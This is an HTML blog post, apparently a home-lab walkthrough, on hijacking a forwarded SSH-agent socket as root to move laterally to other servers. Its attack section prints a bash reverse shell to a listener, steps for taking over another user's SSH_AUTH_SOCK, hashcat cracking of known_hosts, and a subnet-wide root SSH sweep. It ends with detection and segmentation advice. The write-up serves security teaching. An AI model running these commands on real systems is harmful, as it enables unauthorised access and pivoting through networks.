<!DOCTYPE html>  
<html lang="en">  
    <title>

  Zero Effort Private Key Compromise: Abusing SSH-Agent For Lateral Movement

</title><link rel="stylesheet" href="https://grahamhelton.com/css/style.css">

<meta property="og:locale" content="en_US">
<meta property="og:type" content="article">
<meta property="og:title" content="Zero Effort Private Key Compromise: Abusing SSH-Agent For Lateral Movement &middot; Graham Helton">
<meta property="og:description" content="Intro The other day I was looking through some videos I had bookmarked and decided to throw on AASLR: Leveraging SSH Keys for Lateral Movement by Hal Pomeranz. About halfway though the video I had to start over and open up my notes to begin documenting what I was learning because there was some really interesting material that I hadn&amp;amp;rsquo;t seen before. Using that training as a jumping off point, I began looking into other uses of the ssh-agent utility and decided to mock up a demo in my home lab.">
<meta property="og:url" content="https://grahamhelton.com/blog/ssh_agent/">
<meta property="og:site_name" content="Graham Helton">
<meta property="og:image" content="https://grahamhelton.com/ssh_agent_cover.png">


<script type="application/javascript">
var doNotTrack = false;
if (!doNotTrack) {
	(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
	(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
	m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
	})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
	ga('create', 'UA-211014781-1', 'auto');
	
	ga('send', 'pageview');
}
</script>

<meta property="article:published_time" content="2023-08-18T00:00:00Z">

<body><header>  
    <nav class="navbar" role="navigation">  
        <div class="navbar__left">  
		<a href="https://grahamhelton.com">Graham Helton</a>  
        </div>  
        <div class="">  
            <a href="../../blog">Blogs</a>  
            <span class ="nav-item navbar-text mx-1">&emsp;/&emsp;</span>
            <a href="../../tags/">Tags</a>  
            <span class ="nav-item navbar-text mx-1">&emsp;/&emsp;</span>
            <a href="../../archive">Archive</a>  
            <span class ="nav-item navbar-text mx-1">&emsp;/&emsp;</span>
            <a href="../../pages/">Other</a>  
            <span class ="nav-item navbar-text mx-1">&emsp;/&emsp;</span>
            <a href="../../blog/index.xml">RSS</a>  
        </div>  
    </nav>  
</header>  
<main>  
<section class="section">  
  <article>  
    <div class="blog__container">  
          <h1 class="blog__title">Zero Effort Private Key Compromise: Abusing SSH-Agent For Lateral Movement</h1>  

          <p> A walkthrough of compromising private keys in SSH-Agent for post-exploitation lateral movement shenanigans. </p>
          <p>Published: August 18, 2023</p>
          <p>Reading Time: 10  minutes <p>
            <div class="blog__details">  
              <div class="blog__info">  
              </div>  
            </div>  
          <div class="content">  
            <h1 id="intro">Intro</h1>
<p>The other day I was looking through some videos I had bookmarked and decided to throw on <a href="https://www.youtube.com/watch?v=Gr3ULSoRg9U">AASLR: Leveraging SSH Keys for Lateral Movement</a> by Hal Pomeranz. About halfway though the video I had to start over and open up my notes to begin documenting what I was learning because there was some really interesting material that I hadn&rsquo;t seen before. Using that training as a jumping off point, I began looking into other uses of the ssh-agent utility and decided to mock up a demo in my home lab. This post is a walk through of what I learned going down that rabbithole.</p>
<h1 id="what-is-ssh-agent">What is SSH Agent?</h1>
<p>For starters, we need to understand a little about what is going on with the ssh-agent process.  ssh-agent is an interesting utility that is used to help ease the burden of managing private keys. It&rsquo;s similar to the concept of single sign on but for SSH keys.  The SSH agent allows you to add private keys/identities to the agent running on your local machine using <code>ssh-add &lt;private_key_file&gt;</code>. These keys can then be listed with <code>ssh-add -l</code>. After adding a key to the <code>ssh-agent</code> utility, you can then <code>ssh</code> to a server using the key without having to re-enter the password. This is useful for both humans and service accounts. Interestingly, you can also forward your key agent to the machine you&rsquo;re connecting to, allowing you to use your private keys from the machine you&rsquo;re connected to. Take this example:</p>
<ol>
<li><em>Admin</em> is a server administrator who is responsible for maintaining many different Linux servers. <em>Admin</em> utilizes SSH to remote into many machines for doing&hellip; whatever it is admins do.</li>
<li><em>Admin</em> Utilizes the <code>ssh-agent</code> utility to help ease the burden of connecting to dozens of servers with different keys (all of which are protected by unique passwords). This is done with the <code>ssh-add &lt;privatekey&gt;</code> command. (Note: you must correctly type the password when initially adding it to the <code>ssh-agent</code> key ring.)
<img src="../../Pasted-image-20230816005938.png" alt=""></li>
<li>Now, if <em>admin</em> needs to connect to say, a dns server(<em>pihole</em>), instead of typing out <code>ssh -i /path/to/key/file root@pi.hole</code> then entering the (hopefully unique) password to the key file, she can simply type <code>ssh root@pihole</code> and the connection will be established.</li>
</ol>
<p>This in and of itself isn&rsquo;t <em>great</em> from a security perspective as someone who was able to compromise <em>admin</em>&rsquo;s machine would be able to ssh without having to know the password for the private key. Although I&rsquo;d rather <em>not</em> see this, it is forgivable. After all, making the lives of your admins complicated is the best way for admins to bypass your security measures all together.  Where this gets really dicey is when the <code>ssh</code> option is used in conjunction with the <code>-A</code> option. In fact, even the <code>ssh</code> manpage gives a hint that it can lead to &ldquo;the ability to bypass file permissions  on the remote host&rdquo;.  Enticing.</p>
<p><img src="../../Pasted-image-20230816010905.png" alt=""></p>
<p>To demonstrate why this could be <em>really</em> bad, lets assume that <em>admin</em> IS infact connecting to a server with the <code>ssh -A root@&lt;server&gt;</code> command. But first, why would anyone do this in the first place. Can&rsquo;t we just make a policy to disallow our admins from using agent forwarding? Well, there are a few possible scenarios where this could be useful.</p>
<ol>
<li><strong>Jumphosts</strong>: In enterprise environments, accessing sensitive servers from your personal machine is not a great security policy. Instead, Jumphosts should be used. These special servers are (ideally) the only servers able to connect to sensitive machines via ssh. This segmentation can be implemented through firewalls. IE: <code>ssh root@super_important_dns_server</code> would not be possible from your local machine UNLESS your traffic is being proxied through a jumpserver.</li>
<li>You&rsquo;re connected to a dev server that needs special access to something (IE: a git repository), but you don&rsquo;t want to put your private key on the dev server.</li>
</ol>
<p>These are two very simple scenarios, but you get the idea.</p>
<blockquote>
<p>TLDR; SSH Agent forwarding keeps your private keys out of places you don&rsquo;t have control over.</p>
</blockquote>
<p>Now, assume we are <em>admin</em> and we need to make changes to a DNS server by logging into it via SSH. We would like to do so without having to store our SSH private key on the jumphost because it is shared between other people. One option for doing so is to use agent forwarding via <code>ssh -A root@jumphost</code>.  Now, since our local machine has the private key for <code>root@pi.hole</code> in the ssh-agent, we can simply run <code>ssh root@pi.hole</code> from the jumphost machine and access <code>pi.hole</code> without any other security measures. What could possibly go wrong?  Well, if an attacker is looking to pivot throughout the network, hijacking <em>admin</em>&rsquo;s keys would be a great way to do so. In this post we will assume <em>admin</em> connects to a server that is compromised by an attacker who has gained root privileges using <code>ssh -A root@&lt;compromised_server&gt;</code>.</p>
<p>To make this a little more clear, lets walk through the full attack chain in a lab environment.</p>
<h1 id="demo">Demo</h1>
<p>Lets first understand the environment in which we are in.
<img src="../../Pasted-image-20230818222627.png" alt=""></p>
<h2 id="walkthrough">Walkthrough</h2>
<p>First things first lets establish our footing in the vulnerable server. In a real scenario, this would be up to you (or your initial access team) to get onto a Linux server and compromise the root account. In this demo I will be attacking from <code>root@attacker-server</code> and spawning a reverse shell using a simple bash reverse shell. <code>bash -i &gt;&amp; /dev/tcp/192.168.1.184/1337 0&gt;&amp;1</code> and a netcat listener <code>netcat -nvlp 1337</code>. That should establish our very rudimentary access to the compromised server <code>vuln-server</code>.</p>
<p>After we get access to the machine, I used python to spawn a fully interactive TTY with <code>python -c 'import pty; pty.spawn(&quot;/bin/bash&quot;)'</code>. This isn&rsquo;t strictly necessary most of the time, but it can make things a bit easier when working with login prompts so it&rsquo;s a good habit to get into assuming you&rsquo;re in a lab environment :)</p>
<p>Next, running the <code>ssh-add -l</code> command on <code>vuln-server</code> allows us to identify if there are any loaded identities. Currently, there are no identities loaded which means no one is logged into this server as <em>root</em> with an SSH session using ssh-agent. Fairly normal so far.
<img src="../../Pasted-image-20230815220110.png" alt=""></p>
<p>Now for the interesting part. When we run <code>lsof -U | grep agent</code>, we get a result back indicating that the user <em>admin</em> is logged in to the machine and is utilizing SSH-Agent. Once again, it&rsquo;s important to note that we can only see this because we already have <em>root</em> on the system (or some other highly privileged user).</p>
<p><img src="../../Pasted-image-20230815220941.png" alt=""></p>
<p>With this information in mind, lets attempt to take over the <code>SSH_AUTH_SOCK</code> socket. Doing so is is fairly trivial. All we need to do is set an environment variable of the root user using the <code>export</code> command. To do so, simply take the <code>/tmp/ssh-ZzrtT2ZwVr/agent.4145</code> path identified in the previous <code>lsof -U | grep agent</code> command, and assign it to the <code>SSH_AUTH_SOCK</code> environment variable by running <code>export SSH_AUTH_SOCK=/tmp/ssh-ZzrtT2ZwVr/agent4145</code>.</p>
<p><img src="../../Pasted-image-20230815221235.png" alt=""></p>
<p>Now that we have pointed the environment variable to an existing SSH socket, we have essentially compromised the SSH session for the admin user. Running the command <code>ssh-add -l</code> once again, we can see the fingerprint for the keys on the <em>admin</em> user&rsquo;s LOCAL machine.  I ran <code>ssh-add -l</code> on my local machine (which is where I am logged in as admin from) and you can see that the fingerprints are the same because I have logged into the compromised machine using agent forwarding.</p>
<p><img src="../../Pasted-image-20230815221106.png" alt=""></p>
<p>Since we now have access to the admin user&rsquo;s <code>ssh-agent</code> keys, we can utilize those to connect to other hosts the admin has connected to previously. (Un)fortunately, this is not a full compromise of the private key as the SSH-Agent does not allow you to export the actual private key in any way. Instead, the verification to the server uses a challenge/response to verify key-authenticity. More information <a href="https://en.wikipedia.org/wiki/Ssh-agent">can be found here if you&rsquo;re curious</a>. What this does allow us to do is almost better than a full key compromise because it will bypass the need to know the password of the private keys and connect to computers previously connected to by the <em>admin</em> user.</p>
<p>So how do find out what our compromised admin account has been accessing? There are a few ways we can do so. The first is by checking the <code>/home/admin/known_hosts</code> file. This file typically contains the IP addresses of previously connected to hosts. However, taking a look at our file (on an Ubuntu 20.04) system, you might notice that there are not any IP addresses&hellip; What gives?
<img src="../../Pasted-image-20230816002916.png" alt=""></p>
<p>Well, you can thank the <code>/etc/ssh/ssh_config</code> file&rsquo;s <code>HashKnownHosts</code> option for this. If this option is set, the hosts that <em>admin</em> has  been connecting to will be&hellip; well hashed.</p>
<p><img src="../../Pasted-image-20230815233208.png" alt=""></p>
<h2 id="route-1-cracking-hashes">Route 1: Cracking Hashes</h2>
<p>One of the options we have for overcoming this <code>HashKnownHosts</code> option is simply to&hellip; crack them using a tool like hashcat. Fortunately someone has taken the time to write a great tool in python to automatically convert a <code>known_hosts</code> file in to a format hashcat can parse.  Enter the aptly named <a href="https://github.com/chris408/known_hosts-hashcat">Known_Hosts-Hashcat</a> tool. Thanks <a href="https://github.com/chris408">chris408</a>!
<img src="../../Pasted-image-20230818223905.png" alt=""></p>
<p>After converting our known_hosts file to a more crackable format (and switching to a machine that hashcat plays nicely on), we can crack the hashes with the following hashcat command: <code>hashcat.bin -m 160 --hex-salt ../converted_known_hosts -a 3 ipv4_hcmask.txt --quiet</code>. Just like that, we can see that <em>admin</em> has SSH&rsquo;d to the IPs <code>192.168.1.3</code> and <code>192.168.1.2</code>. We can now try to authenticate to each of these machines to identify if we can move laterally across the network to them.</p>
<p><img src="../../Pasted-image-20230818223346.png" alt=""></p>
<h2 id="route-2-checking-the-history-file">Route 2: Checking the history file</h2>
<p>Another easy way to identify where you might have access to is by checking the <code>/home/admin/.bash_history</code> file. Since we&rsquo;re root on this machine, we will have no problem viewing this file.</p>
<p><img src="../../Pasted-image-20230816002757.png" alt=""></p>
<p>There are a few disadvantages of doing it those way.</p>
<ol>
<li>The bash history file could have been cleared for some reason (unlikely)</li>
<li>The user has not logged out of the machine yet, so the history file might not even be written to yet.</li>
<li>The bash history limit could be set to a low number and the data is no longer available.</li>
</ol>
<h1 id="route-3-check-all-the-things">Route 3: CHECK ALL THE THINGS</h1>
<p>Another odd way you can attempt to enumerate which machines you have access to is by running this funky bash script that attempts to ssh into every domain in a <code>192.168.1.0/24</code> and run a few commands. If you see output from a given IP address, it means you&rsquo;re able to access that machine. While I don&rsquo;t recommend doing this, technically it&rsquo;s possible if you&rsquo;re not trying to be stealthy. It&rsquo;s not pretty but it&rsquo;ll get the job done.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7c7c79">1</span><span><span style="color:#f00">for</span> i in 192.168.1.{1..255}; <span style="color:#f00">do</span> echo <span style="color:#87ceeb">&#34;Checking </span><span style="color:#eedd82">$i</span><span style="color:#87ceeb"> for access...&#34;</span> ; ssh -o <span style="color:#eedd82">BatchMode</span>=yes root@<span style="color:#eedd82">$i</span> <span style="color:#87ceeb">&#34;hostname; whoami; ip -c a | grep -E &#39;[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}&#39;&#34;</span> 2&gt;/dev/null; <span style="color:#f00">done</span>
</span></span></code></pre></div><p><img src="../../Pasted-image-20230815222305.png" alt=""></p>
<h2 id="stealing-the-ssh-session">Stealing the SSH session</h2>
<p>Assuming you were able to find some evidence of where the <em>admin</em> has been connecting to, masquerading as the user by using their <code>ssh-agent</code> identities is trivial. After setting your <code>SSH_AUTH_SOCK</code> environment variable correctly, simply ssh into the server identified. IE: <code>ssh root@pi.hole</code>. Even if the ssh key generally used to access this server is password protected, you will be logged into the remote server without being prompted to enter the private key password. In this case, I was able to authenticate to the DNS server.</p>
<p><img src="../../Pasted-image-20230816002825.png" alt=""></p>
<h1 id="detections">Detections</h1>
<p>As with most attacks, understanding your network baseline and segmenting your network is your best bet at detecting this kind of compromise. Due the the fact that this isn&rsquo;t some fancy exploit, you&rsquo;ll have a hard time detecting it if you don&rsquo;t know what to look for. My recommendations are as follows:</p>
<ol>
<li>Segment your network. In this example everything was on a flat network, making it trivial to pivot.</li>
<li>Understand your network baseline. In a real scenario, it should be very suspicious that your webserver in a DMZ is SSHing to ANYTHING.</li>
</ol>
<p>Abusing this SSH configuration can be trivial. By implementing firewall rules to further segment your network, this attack can be mitigated. A quick example is by dropping all packets from the <code>vuln-server</code> host on the <code>DNS</code> server using IP tables. <code>iptables -I INPUT -s 192.168.1.183 -j DROP</code> . A bit contrived in this example, but fine grain access control is something every network should be implementing.
<img src="../../Pasted-image-20230816094035.png" alt=""></p>
<h1 id="wrapping-up">Wrapping up</h1>
<p>So, is this a vulnerability? Well no, not exactly. Like most things in the security world, this &ldquo;attack&rdquo; is really just abusing intended functionality. The goal of this post (aside from acting as my own reference for if I stumble upon this in the future), is to walk you through what can theoretically be done under the correct circumstances. If you have any questions, feel free to let me <a href="https://grahamhelton.com/pages/links/">know on any of these sites</a> or shoot me an email via <code>blog[AT]grahamhelton.com</code>. Until next time.</p>
<p>:wq</p>
<h1 id="references">References</h1>
<p><a href="https://www.youtube.com/watch?v=Gr3ULSoRg9U&amp;t">https://www.youtube.com/watch?v=Gr3ULSoRg9U&amp;t</a></p>
<p><a href="https://www.ssh.com/academy/ssh/agent">https://www.ssh.com/academy/ssh/agent</a></p>
<p><a href="https://smallstep.com/blog/ssh-agent-explained/">https://smallstep.com/blog/ssh-agent-explained/</a></p>
<p><a href="https://www.linode.com/docs/guides/using-ssh-agent/">https://www.linode.com/docs/guides/using-ssh-agent/</a></p>
<p><a href="https://en.wikipedia.org/wiki/Ssh-agent">https://en.wikipedia.org/wiki/Ssh-agent</a></p>
  
          </div>  
        </div>  

  </article>  


  
        </main>

<footer>
  <div class="footer_class">
    <p>
    <a href="https://grahamhelton.com/links" title="Reach out to me">Have Questions? Reach out to me.</a>
    </p>

  </div>
</footer>
</body>  
</html>

